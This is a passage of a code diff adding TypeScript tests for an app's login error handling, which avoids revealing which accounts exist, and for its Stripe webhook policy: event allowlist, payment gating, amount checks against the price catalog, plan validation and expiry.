expect(loginDecision("unverified_local", true)).toEqual({ kind: "email_not_verified" });
|
||||
// Never reachable for a missing or Google-only account, even with a "match":
|
||||
// an attacker without the password can never get this code.
|
||||
expect(loginDecision("google_only", true)).toEqual({ kind: "invalid_credentials" });
|
||||
expect(loginDecision("none", true)).toEqual({ kind: "invalid_credentials" });
|
||||
});
|
||||
|
||||
test("only a verified local account with the right password signs in", () => {
|
||||
expect(loginDecision("local", true)).toEqual({ kind: "sign_in" });
|
||||
expect(loginDecision("local", false)).toEqual({ kind: "invalid_credentials" });
|
||||
});
|
||||
});
|
||||
|
||||
describe("revealing codes are never emitted by auth routes", () => {
|
||||
test("the discontinued codes still exist in the vocabulary for compatibility", () => {
|
||||
for (const code of DISCONTINUED_ENUMERATION_CODES) {
|
||||
expect(isAuthErrorCode(code)).toBe(true);
|
||||
}
|
||||
});
|
||||
|
||||
test("no auth route source contains any discontinued enumeration code", () => {
|
||||
const routes = [
|
||||
"signup/route.ts",
|
||||
"login/route.ts",
|
||||
"forgot-password/route.ts",
|
||||
"reset-password/route.ts",
|
||||
"resend-verification/route.ts",
|
||||
];
|
||||
|
||||
for (const route of routes) {
|
||||
const source = readAuthRouteSource(route);
|
||||
for (const code of DISCONTINUED_ENUMERATION_CODES) {
|
||||
expect(source.includes(code)).toBe(false);
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
test("the login 403 carries no extra fields that would set it apart", () => {
|
||||
// The `email_not_verified` failure body must be a plain `{ error }` —
|
||||
// no `email` field — so its shape matches every other failure.
|
||||
// (Guard: the login route must not pass an `email` extra into authError.)
|
||||
const loginSource = readAuthRouteSource("login/route.ts");
|
||||
expect(loginSource.includes('email_not_verified", 403, { email')).toBe(false);
|
||||
});
|
||||
});
|
||||
});
|
||||
177
tests/e2e/webhook_verification.test.ts
Normal file
177
tests/e2e/webhook_verification.test.ts
Normal file
@@ -0,0 +1,177 @@
|
||||
/**
|
||||
* Webhook Verification Suite
|
||||
*
|
||||
* Pure decision logic for the Stripe webhook policy: event-type allowlist,
|
||||
* payment-status gating, the amount cross-check against the REAL shared price
|
||||
* catalog, plan validation and expiry derivation. Signature verification
|
||||
* itself requires live Stripe secrets (HMAC of the raw body), so it is only
|
||||
* ever exercised end-to-end by the running app — everything that decides
|
||||
* whether a license may be granted is covered here, no database needed.
|
||||
*/
|
||||
|
||||
import { describe, test, expect } from "./runner";
|
||||
import {
|
||||
ALLOWED_EVENT_TYPES,
|
||||
isAllowedEventType,
|
||||
isPaymentConfirmed,
|
||||
sessionModeMatchesPlan,
|
||||
subscriptionExpiresAt,
|
||||
verifyPaidAmount,
|
||||
} from "../../src/lib/billing/webhookPolicy";
|
||||
import { getPlanConfig, isPlanId, resolvePlan } from "../../src/lib/billing/pricing";
|
||||
|
||||
describe("WebhookVerification — event type allowlist", () => {
|
||||
test("all handled event types are allowed (including the fixed invoice.payment_succeeded)", () => {
|
||||
expect(isAllowedEventType("checkout.session.completed")).toBe(true);
|
||||
expect(isAllowedEventType("checkout.session.expired")).toBe(true);
|
||||
expect(isAllowedEventType("invoice.payment_failed")).toBe(true);
|
||||
expect(isAllowedEventType("invoice.payment_succeeded")).toBe(true);
|
||||
expect(isAllowedEventType("customer.subscription.updated")).toBe(true);
|
||||
expect(isAllowedEventType("customer.subscription.deleted")).toBe(true);
|
||||
});
|
||||
|
||||
test("unhandled and unknown event types are rejected", () => {
|
||||
expect(isAllowedEventType("charge.succeeded")).toBe(false);
|
||||
expect(isAllowedEventType("payment_intent.succeeded")).toBe(false);
|
||||
expect(isAllowedEventType("customer.created")).toBe(false);
|
||||
expect(isAllowedEventType("invoice.created")).toBe(false);
|
||||
expect(isAllowedEventType("")).toBe(false);
|
||||
});
|
||||
|
||||
test("the allowlist is not accidentally empty", () => {
|
||||
expect(ALLOWED_EVENT_TYPES.size).toBeGreaterThan(0);
|
||||
// Every allowlisted type is a real Stripe event name pattern, never a wildcard.
|
||||
expect(ALLOWED_EVENT_TYPES.has("*")).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe("WebhookVerification — payment confirmation gating", () => {
|
||||
test("payment-mode session is confirmed only when payment_status is paid", () => {
|
||||
expect(isPaymentConfirmed({ mode: "payment", payment_status: "paid" }, null)).toBe(true);
|
||||
expect(isPaymentConfirmed({ mode: "payment", payment_status: "unpaid" }, null)).toBe(false);
|
||||
expect(isPaymentConfirmed({ mode: "payment", payment_status: "no_payment_required" }, null)).toBe(
|
||||
false
|
||||
);
|
||||
expect(isPaymentConfirmed({ mode: "payment", payment_status: null }, null)).toBe(false);
|
||||
});
|
||||
|
||||
test("subscription is confirmed while active or trialing", () => {
|
||||
expect(isPaymentConfirmed({ mode: "subscription" }, { status: "active" })).toBe(true);
|
||||
expect(isPaymentConfirmed({ mode: "subscription" }, { status: "trialing" })).toBe(true);
|
||||
});
|
||||
|
||||
test("subscription is rejected when canceled, unpaid, past_due or missing", () => {
|
||||
expect(isPaymentConfirmed({ mode: "subscription" }, { status: "canceled" })).toBe(false);
|
||||
expect(isPaymentConfirmed({ mode: "subscription" }, { status: "unpaid" })).toBe(false);
|
||||
expect(isPaymentConfirmed({ mode: "subscription" }, { status: "past_due" })).toBe(false);
|
||||
expect(isPaymentConfirmed({ mode: "subscription" }, { status: "incomplete" })).toBe(false);
|
||||
expect(isPaymentConfirmed({ mode: "subscription" }, null)).toBe(false);
|
||||
expect(isPaymentConfirmed({ mode: "subscription" }, undefined)).toBe(false);
|
||||
});
|
||||
|
||||
test("unknown or missing session modes are never confirmed", () => {
|
||||
expect(isPaymentConfirmed({ mode: null, payment_status: "paid" }, null)).toBe(false);
|
||||
expect(isPaymentConfirmed({ mode: "setup", payment_status: "paid" }, null)).toBe(false);
|
||||
expect(isPaymentConfirmed({}, null)).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe("WebhookVerification — amount cross-check against the real catalog", () => {
|
||||
test("lifetime amount matching the catalog exactly is accepted", () => {
|
||||
const session = {
|
||||
mode: "payment",
|
||||
payment_status: "paid",
|
||||
amount_total: getPlanConfig("lifetime").unitAmountMinor,
|
||||
};
|
||||
expect(verifyPaidAmount(session, "lifetime")).toBe(true);
|
||||
expect(verifyPaidAmount(session, getPlanConfig("lifetime").id)).toBe(true);
|
||||
// The catalog really is the source: 5999 minor units for lifetime.
|
||||
expect(getPlanConfig("lifetime").unitAmountMinor).toBe(5999);
|
||||
});
|
||||
|
||||
test("one cent less than the catalog amount is rejected", () => {
|
||||
expect(
|
||||
verifyPaidAmount(
|
||||
{ mode: "payment", payment_status: "paid", amount_total: getPlanConfig("lifetime").unitAmountMinor - 1 },
|
||||
"lifetime"
|
||||
)
|
||||
).toBe(false);
|
||||
});
|
||||
|
||||
test("a missing amount_total is rejected for one-time payments", () => {
|
||||
expect(
|
||||
verifyPaidAmount({ mode: "payment", payment_status: "paid", amount_total: null }, "lifetime")
|
||||
).toBe(false);
|
||||
});
|
||||
|
||||
test("subscription sessions are not amount-checked (trial amount may be 0)", () => {
|
||||
expect(verifyPaidAmount({ mode: "subscription", amount_total: 0 }, "weekly")).toBe(true);
|
||||
expect(verifyPaidAmount({ mode: "subscription", amount_total: 0 }, "annual")).toBe(true);
|
||||
expect(verifyPaidAmount({ mode: "subscription", amount_total: 1 }, "weekly")).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
describe("WebhookVerification — plan validation", () => {
|
||||
test("known plan ids validate", () => {
|
||||
expect(isPlanId("weekly")).toBe(true);
|
||||
expect(isPlanId("annual")).toBe(true);
|
||||
expect(isPlanId("lifetime")).toBe(true);
|
||||
});
|
||||
|
||||
test("unknown and missing plans are rejected by isPlanId", () => {
|
||||
expect(isPlanId("enterprise")).toBe(false);
|
||||
expect(isPlanId("free")).toBe(false);
|
||||
expect(isPlanId("")).toBe(false);
|
||||
expect(isPlanId(null)).toBe(false);
|
||||
expect(isPlanId(undefined)).toBe(false);
|
||||
});
|
||||
|
||||
test("resolvePlan falls back to annual for unknown or absent values", () => {
|
||||
expect(resolvePlan("lifetime")).toBe("lifetime");
|
||||
expect(resolvePlan("weekly")).toBe("weekly");
|
||||
expect(resolvePlan("annual")).toBe("annual");
|
||||
expect(resolvePlan("bogus")).toBe("annual");
|
||||
expect(resolvePlan(null)).toBe("annual");
|
||||
expect(resolvePlan(undefined)).toBe("annual");
|
||||
expect(resolvePlan("")).toBe("annual");
|
||||
});
|
||||
|
||||
test("the session mode must match the plan's billing mode", () => {
|
||||
expect(sessionModeMatchesPlan("payment", "lifetime")).toBe(true);
|
||||
expect(sessionModeMatchesPlan("subscription", "weekly")).toBe(true);
|
||||
expect(sessionModeMatchesPlan("subscription", "annual")).toBe(true);
|
||||
expect(sessionModeMatchesPlan("subscription", "lifetime")).toBe(false);
|
||||
expect(sessionModeMatchesPlan("payment", "annual")).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe("WebhookVerification — expiry derivation from the subscription", () => {
|
||||
test("expiresAt comes from current_period_end, never Date.now()", () => {
|
||||
const periodEnd = 1_700_000_000; // fixed point in the past — must not shift
|
||||
const expires = subscriptionExpiresAt({ status: "trialing", current_period_end: periodEnd });
|
||||
expect(expires?.getTime()).toBe(periodEnd * 1000);
|
||||
// A fixed period end must yield a fixed expiry regardless of when the test runs.
|
||||
expect(Date.now()).toBeGreaterThan(periodEnd * 1000);
|
||||
});
|
||||
|
||||
test("missing period end or missing subscription yields no expiry", () => {
|
||||
expect(subscriptionExpiresAt({ status: "active", current_period_end: null })).toBeNull();
|
||||
expect(subscriptionExpiresAt({ status: "active" })).toBeNull();
|
||||
expect(subscriptionExpiresAt(null)).toBeNull();
|
||||
expect(subscriptionExpiresAt(undefined)).toBeNull();
|
||||
});
|
||||
});
|
||||
|
||||
describe("WebhookVerification — catalog contract used by the webhook", () => {
|
||||
test("lifetime is a one-time payment; weekly and annual are subscriptions", () => {
|
||||
expect(getPlanConfig("lifetime").mode).toBe("payment");
|
||||
expect(getPlanConfig("weekly").mode).toBe("subscription");
|
||||
expect(getPlanConfig("annual").mode).toBe("subscription");
|
||||
});
|
||||
|
||||
test("catalog amounts match the pricing guide (EUR minor units)", () => {
|
||||
expect(getPlanConfig("lifetime").unitAmountMinor).toBe(5999);
|
||||
expect(getPlanConfig("weekly").unitAmountMinor).toBe(499);
|
||||
expect(getPlanConfig("annual").unitAmountMinor).toBe(3999);
|
||||
});
|
||||
});
|
||||
Reference in New Issue
Block a user